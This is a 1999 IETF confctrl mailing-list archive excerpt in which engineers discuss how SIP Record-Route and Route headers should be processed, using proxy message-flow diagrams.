<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
200 OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 200 =
OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 200 =
OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 200 =
OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; =
Q:1 INVITE</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
RR:(SPS3,&nbsp;&nbsp;&nbsp; RR:(SPS3,&nbsp;&nbsp;&nbsp; =
RR:(SPS3,&nbsp;&nbsp;&nbsp; RR:(SPS3,&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SPS1)</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; At this =
point User A will store the Route SPS1,SPS3,B2</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
------------&gt;-------------------------&gt;------------&gt;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
ACK SPS1&nbsp;&nbsp;&nbsp;&nbsp; ACK =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ACK B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User =
B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:1 ACK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:1 =
ACK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:1 ACK&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
R:(SPS3,&nbsp;&nbsp;&nbsp;&nbsp; =
R:(B2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
B2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
&lt;-------------&lt;-------------------------&lt;------------</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
INVITE User A INVITE =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; INVITE SPS3&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F:User =
B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T:User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:2 INVITE&nbsp;&nbsp;&nbsp; Q:2 =
INVITE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; Q:2 INVITE</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R:(User =
A)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; R:(SPS1,&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; User =
A)</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
&lt;------------&lt;-------------------------&lt;------------</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
BYE User A&nbsp;&nbsp; BYE =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BYE SPS3&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User B&nbsp;&nbsp;&nbsp;&nbsp; F:User =
B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User A&nbsp;&nbsp;&nbsp;&nbsp; T:User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:3 BYE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:3 =
BYE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:3 BYE&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; R:(User A) =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; R:(SPS1,&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; User A)</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE900E.87A46092--

From confctrl-owner  Mon Apr 26 13:02:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA14650
	for confctrl-outgoing; Mon, 26 Apr 1999 13:02:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA14645
	for <confctrl@zephyr.isi.edu>; Mon, 26 Apr 1999 13:02:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA04431
	for <confctrl@isi.edu>; Mon, 26 Apr 1999 13:02:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Apr 26 16:01:54 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id QAA25049;
	Mon, 26 Apr 1999 16:01:52 -0400 (EDT)
Message-ID: <3724C58E.FC722072@dnrc.bell-labs.com>
Date: Mon, 26 Apr 1999 15:59:10 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
References: <93496446F5EDD211A8C100805FEAD74901C165@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. wrote:
> 
> The purpose of the Record-Route and Route headers is to ensure that
> SIP requests for an established session and the ACK request resulting
> from the INVITE, 200 OK message pair get routed through interested
> proxy servers.  The correct routing needs to occur in both directions,
> both when the request comes from the calling user agent and when it
> comes from the called user agent.

Yup. The operation is as you describe, except you have an SPS3 missing
from the reverse INVITE's in one of the flows below. The callee takes
the Record-Route header, adds the Contact from the request to the
bottom, and uses it as the Route header in subsequent requests. This has
been reported already. (Our UA does this already, in fact). 

> 
> These scenarios rely on a proposed enhancement to the SIP
> specification that would require the called user agent to add a
> contact header to the 200 OK response to an INVITE message if that
> INVITE message contained a record-route header.  The need to add this
> behavior to the called user agent was discussed during the SIP
> Bake-off.

Yes. I agree its a good idea, as did others at the bakeoff. In fact, its
easiest to simplify this further and simply change Contact in the
response from SHOULD to MUST (I think its SHOULD now).

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Apr 26 15:51:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA21494
	for confctrl-outgoing; Mon, 26 Apr 1999 15:51:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21488
	for <confctrl@zephyr.isi.edu>; Mon, 26 Apr 1999 15:51:31 -0700 (PDT)
Received: from mailman.iuinc.com (mailman.iuinc.com [205.147.235.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21061
	for <confctrl@ISI.EDU>; Mon, 26 Apr 1999 15:51:26 -0700 (PDT)
Received: from Adoyle ([216.181.56.34])
	by mailman.iuinc.com (8.9.1a/8.9.1) with SMTP id SAA03724;
	Mon, 26 Apr 1999 18:49:24 -0400
Message-ID: <015d01be9037$472a2d20$c402a8c0@Adoyle.broadsoft.com>
From: "Alex Doyle" <alex@broadsoft.com>
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Cc: <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
Date: Mon, 26 Apr 1999 18:50:39 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Which INVITE is missing the SPS3?

A agree that the callee takes the Record-Route, adds the Contact header, and
then reverses the list....but I thought the callee pops the first item in
the Route header off the list before sending the INVITE (sec 6.33).

Can you clarify which msg is missing the SPS3?

thanks
Alex


-----Original Message-----
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
To: Donovan, Steven R. <Steven.R.Donovan@wcom.com>
Cc: 'confctrl@ISI.EDU' <confctrl@ISI.EDU>
Date: Monday, April 26, 1999 6:28 PM
Subject: Re: Record-Route and Route header clarification


>> Donovan, Steven R. wrote:
>>
>> The purpose of the Record-Route and Route headers is to ensure that
>> SIP requests for an established session and the ACK request resulting
>> from the INVITE, 200 OK message pair get routed through interested
>> proxy servers.  The correct routing needs to occur in both directions,
>> both when the request comes from the calling user agent and when it
>> comes from the called user agent.
>
>Yup. The operation is as you describe, except you have an SPS3 missing
>from the reverse INVITE's in one of the flows below. The callee takes
>the Record-Route header, adds the Contact from the request to the
>bottom, and uses it as the Route header in subsequent requests. This has
>been reported already. (Our UA does this already, in fact).
>
>>
>> These scenarios rely on a proposed enhancement to the SIP
>> specification that would require the called user agent to add a
>> contact header to the 200 OK response to an INVITE message if that
>> INVITE message contained a record-route header.  The need to add this
>> behavior to the called user agent was discussed during the SIP
>> Bake-off.
>
>Yes. I agree its a good idea, as did others at the bakeoff. In fact, its
>easiest to simplify this further and simply change Contact in the
>response from SHOULD to MUST (I think its SHOULD now).
>
>-Jonathan R.
>
>
>--
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX:   (732) 834-5379                       Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen


From confctrl-owner  Mon Apr 26 18:34:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA26988
	for confctrl-outgoing; Mon, 26 Apr 1999 18:34:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA26970
	for <confctrl@zephyr.isi.edu>; Mon, 26 Apr 1999 18:34:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA06899
	for <confctrl@isi.edu>; Mon, 26 Apr 1999 18:34:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Apr 26 21:32:37 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id VAA00569;
	Mon, 26 Apr 1999 21:32:35 -0400 (EDT)
Message-ID: <37251310.B6448647@dnrc.bell-labs.com>
Date: Mon, 26 Apr 1999 21:29:52 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Alex Doyle <alex@broadsoft.com>
CC: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>, confctrl@ISI.EDU
Subject: Re: Record-Route and Route header clarification
References: <015d01be9037$472a2d20$c402a8c0@Adoyle.broadsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Alex Doyle wrote:
> 
> Which INVITE is missing the SPS3?
> 
> A agree that the callee takes the Record-Route, adds the Contact header, and
> then reverses the list....but I thought the callee pops the first item in
> the Route header off the list before sending the INVITE (sec 6.33).
> 
> Can you clarify which msg is missing the SPS3?

Oops, you're right... I always forget if its pop and send or send and
pop :)

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Apr 27 04:58:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA16525
	for confctrl-outgoing; Tue, 27 Apr 1999 04:58:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA16520
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 04:58:12 -0700 (PDT)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA04190
	for <confctrl@ISI.EDU>; Tue, 27 Apr 1999 04:58:12 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id EAA25005;
	Tue, 27 Apr 1999 04:58:09 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id MAA28258;
	Tue, 27 Apr 1999 12:58:06 +0100 (BST)
Message-ID: <3725A64D.D1997B0E@hplb.hpl.hp.com>
Date: Tue, 27 Apr 1999 12:58:05 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
References: <93496446F5EDD211A8C100805FEAD74901C165@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> "Donovan, Steven R." wrote:
> 
> The purpose of the Record-Route and Route headers is to ensure that
> SIP requests for an established session and the ACK request resulting
> from the INVITE, 200 OK message pair get routed through interested
> proxy servers.  The correct routing needs to occur in both directions,
> both when the request comes from the calling user agent and when it
> comes from the called user agent.
> 

Nice explanation of the problem. I have one small question...

> 
> SCENARIO TWO (No contact included in INVITE message)
> ------------
> 
> User A        SPS1         SPS2         SPS3          B2
>    ------------>------------>------------>------------>
>    Invite SPS1  Invite SPS2  Invite SPS3  Invite B2
>    F:User A     F:User A     F:User A     F:User A
>    T:User B     T:User B     T:User B     T:User B
>    Q:1 INVITE   Q:1 INVITE   Q:1 INVITE   Q:1 INVITE
>    I:1@A        I:1@A        I:1@A        I:1@A
>                 RR:(SPS1)    RR:(SPS1)    RR:(SPS3,
>                                               SPS1)
> 
>   At this point User B will store the Route SPS3,SPS1,User A

As there was no Contact in the INVITE, shouldn't B omit A from its
stored route, i.e. store the route SPS3,SPS1 and leave it to SPS1 to do
the final routing to A?

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Apr 27 06:19:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA19491
	for confctrl-outgoing; Tue, 27 Apr 1999 06:19:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA19486
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 06:19:54 -0700 (PDT)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA07670
	for <confctrl@ISI.EDU>; Tue, 27 Apr 1999 06:19:53 -0700 (PDT)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id NAA16405; Tue, 27 Apr 1999 13:15:09 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2571.0)
	id <JQC3W5G8>; Tue, 27 Apr 1999 13:18:27 -0000
Message-ID: <93496446F5EDD211A8C100805FEAD74901C168@nsrip00207.mcit.com>
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
To: "'Anders Kristensen'" <ak@hplb.hpl.hp.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: Record-Route and Route header clarification
Date: Tue, 27 Apr 1999 13:18:25 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE90B0.6F177648"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE90B0.6F177648
Content-Type: text/plain;
	charset="iso-8859-1"

Anders,

After drafting a well thought out and exhaustive defense for including the
>From URI in the called user agents route list when the INVITE does not
contain a Contact header, I realized that you are correct.  Including the
>From URI in the route list would be redundant, as the SPS1 would route to
User A in either case (given that the From URI will be in the To URI for the
subsequent requests).

Good point...

Steve

-----Original Message-----
From: Anders Kristensen [mailto:ak@hplb.hpl.hp.com]
Sent: Tuesday, April 27, 1999 6:58 AM
To: Donovan, Steven R.
